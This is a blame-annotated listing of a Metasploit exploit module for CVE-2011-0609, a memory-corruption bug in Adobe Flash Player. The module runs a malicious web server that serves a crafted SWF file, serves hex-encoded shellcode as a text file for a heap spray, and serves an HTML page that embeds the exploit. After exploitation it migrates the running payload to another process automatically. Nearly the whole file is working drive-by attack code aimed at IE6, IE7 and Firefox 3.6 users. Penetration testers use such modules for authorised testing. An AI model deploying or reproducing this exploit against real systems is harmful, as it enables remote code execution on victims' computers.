2011-03-23 04:31:48 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2011-03-26 19:33:38 +00:00
|
|
|
Rank = GoodRanking
|
2011-03-23 04:31:48 +00:00
|
|
|
|
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2011-03-26 06:35:28 +00:00
|
|
|
'Name' => 'Adobe Flash Player AVM Bytecode Verification Vulnerability',
|
2011-03-23 04:31:48 +00:00
|
|
|
'Description' => %q{
|
2011-03-26 06:35:28 +00:00
|
|
|
This module exploits a vulnerability in Adobe Flash Player versions 10.2.152.33
|
|
|
|
and earlier. This issue is caused by a failure in the ActionScript3 AVM2 verification
|
2011-09-06 17:22:00 +00:00
|
|
|
logic. This results in unsafe JIT(Just-In-Time) code being executed. This is the same
|
|
|
|
vulnerability that was used for the RSA attack in March 2011.
|
2011-03-23 04:31:48 +00:00
|
|
|
|
2011-03-26 06:35:28 +00:00
|
|
|
Specifically, this issue results in uninitialized memory being referenced and later
|
|
|
|
executed. Taking advantage of this issue relies on heap spraying and controlling the
|
2011-03-26 19:33:38 +00:00
|
|
|
uninitialized memory.
|
|
|
|
|
|
|
|
Currently this exploit works for IE6, IE7, and Firefox 3.6 and likely several
|
|
|
|
other browsers. DEP does catch the exploit and causes it to fail. Due to the nature
|
|
|
|
of the uninitialized memory its fairly difficult to get around this restriction.
|
2011-03-23 04:31:48 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
2011-03-26 06:35:28 +00:00
|
|
|
'bannedit', # Metasploit version,
|
|
|
|
'Unknown' # Malcode version seen used in targeted attacks
|
2011-03-23 04:31:48 +00:00
|
|
|
],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
['CVE', '2011-0609'],
|
2011-03-28 03:02:46 +00:00
|
|
|
['OSVDB', '71254'],
|
2011-03-23 04:31:48 +00:00
|
|
|
['URL', 'http://bugix-security.blogspot.com/2011/03/cve-2011-0609-adobe-flash-player.html'],
|
|
|
|
['URL', 'http://www.adobe.com/devnet/swf.html'],
|
2011-09-06 17:22:00 +00:00
|
|
|
['URL', 'http://www.adobe.com/support/security/advisories/apsa11-01.html'],
|
|
|
|
['URL', 'http://www.f-secure.com/weblog/archives/00002226.html'],
|
2011-03-23 04:31:48 +00:00
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'process',
|
|
|
|
'HTTP::compression' => 'gzip',
|
|
|
|
'HTTP::chunked' => true,
|
|
|
|
'InitialAutoRunScript' => 'migrate -f'
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 1000,
|
|
|
|
'BadChars' => "\x00",
|
|
|
|
'DisableNops' => true
|
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2011-03-26 06:35:28 +00:00
|
|
|
[ 'Automatic', {}],
|
2011-03-23 04:31:48 +00:00
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Mar 15 2011',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
2011-03-26 06:35:28 +00:00
|
|
|
def exploit
|
2011-03-23 04:31:48 +00:00
|
|
|
path = File.join( Msf::Config.install_root, "data", "exploits", "CVE-2011-0609.swf" )
|
|
|
|
fd = File.open( path, "rb" )
|
2011-03-26 06:35:28 +00:00
|
|
|
@swf = fd.read(fd.stat.size)
|
2011-03-23 04:31:48 +00:00
|
|
|
fd.close
|
2011-03-26 06:35:28 +00:00
|
|
|
|
|
|
|
super
|
2011-03-23 04:31:48 +00:00
|
|
|
end
|
2011-03-26 06:35:28 +00:00
|
|
|
|
2011-03-23 04:31:48 +00:00
|
|
|
def on_request_uri(cli, request)
|
2011-03-26 06:35:28 +00:00
|
|
|
trigger = @swf
|
2011-03-23 04:31:48 +00:00
|
|
|
trigger_file = rand_text_alpha(rand(6)+3) + ".swf"
|
2011-03-26 06:35:28 +00:00
|
|
|
shellcode = payload.encoded.unpack('H*')[0]
|
|
|
|
obj_id = rand_text_alpha(rand(6)+3)
|
2011-03-23 04:31:48 +00:00
|
|
|
|
|
|
|
if request.uri.match(/\.swf/i)
|
2011-03-26 06:35:28 +00:00
|
|
|
print_status("Sending Exploit SWF")
|
2011-03-23 04:31:48 +00:00
|
|
|
send_response(cli, trigger, { 'Content-Type' => 'application/x-shockwave-flash' })
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2011-03-26 06:35:28 +00:00
|
|
|
# we use a nice trick by having Flash request our shellcode and load it for the heap spray
|
|
|
|
# src for the flash file: external/source/exploits/CVE-2011-0609/exploit.as
|
|
|
|
if request.uri.match(/\.txt/i)
|
|
|
|
send_response(cli, shellcode, { 'Content-Type' => 'text/plain' })
|
|
|
|
return
|
|
|
|
end
|
|
|
|
|
2011-03-23 04:31:48 +00:00
|
|
|
html = <<-EOS
|
|
|
|
<html>
|
|
|
|
<head>
|
|
|
|
</head>
|
|
|
|
<body>
|
2011-03-26 06:35:28 +00:00
|
|
|
<center>
|
2011-03-23 04:31:48 +00:00
|
|
|
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000"
|
2011-03-26 06:35:28 +00:00
|
|
|
id="#{obj_id}" width="600" height="400"
|
2011-03-23 04:31:48 +00:00
|
|
|
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab">
|
2011-03-26 06:35:28 +00:00
|
|
|
<param name="movie" value="#{get_resource}#{trigger_file}" />
|
|
|
|
<embed src="#{get_resource}#{trigger_file}" quality="high"
|
|
|
|
width="320" height="300" name="#{obj_id}" align="middle"
|
|
|
|
allowNetworking="all"
|
|
|
|
type="application/x-shockwave-flash"
|
|
|
|
pluginspage="http://www.macromedia.com/go/getflashplayer">
|
|
|
|
</embed>
|
|
|
|
|
2011-03-23 04:31:48 +00:00
|
|
|
</object>
|
|
|
|
</center>
|
|
|
|
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
EOS
|
|
|
|
|
|
|
|
print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")
|
|
|
|
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
|
|
|
end
|
2011-09-06 17:22:00 +00:00
|
|
|
end
|